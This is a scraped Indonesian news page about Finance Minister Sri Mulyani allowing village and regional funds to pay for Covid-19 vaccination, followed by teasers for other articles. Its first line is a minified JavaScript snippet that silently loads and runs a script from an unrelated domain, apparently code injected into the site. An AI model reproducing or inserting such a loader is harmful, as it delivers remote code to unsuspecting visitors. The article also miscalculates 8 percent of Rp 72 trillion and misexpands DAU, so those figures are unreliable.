(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA– Menteri Keuangan Sri Mulyani Indrawati mengingatkan kepada pemerintah daerah agar membantu pemerintah pusat dalam menanggulangi pandemi Covid-19 secara bersama-sama.
Salah satu langkah yang bisa dilakukan adalah dengan menggunakan anggaran dana desa untuk program vaksinasi Covid-19.
“Kami bolehkan DAU (Dana Alokasi Khusus) dan DBH (Dana Bagi Hasil) dipakai bantu program vaksinasi,” ucap Sri Mulyani dalam rapat kerja dengan DPD secara virtual, Senin (21/6/2021).
Sri menuturkan dari total anggaran dana desa sebanyak 8 persen bisa digunakan untuk penanganan pandemi Covid-19.
Baca juga: Polsek Aranio Sosialisasikan Bahaya Paham Radikal kepada Masyarakat
“Artinya 8 persen dari Rp 72 triliun Dana Desa, yaitu Rp 3,84 triliun, kita juga memberikan ke desa bisa digunakan,” paparnya.
Meski demikian mantan Direktur Pelaksana Bank Dunia ini meminta penggunaan anggaran untuk penanganan harus transparan karena nantinya akan diperiksa oleh Badan Pemeriksa Keuangan (BPK).
“Artinya seluruh provinsi, dana desa bisa digunakan untuk penanganan Covid-19. Dengan anggaran Pemerintah Pusat yang besar itu, harusnya bersama-sama kita bisa menangani Covid-19 dengan baik,” pungkasnya. (suara)
Editor: suara
KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More
Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
This website uses cookies.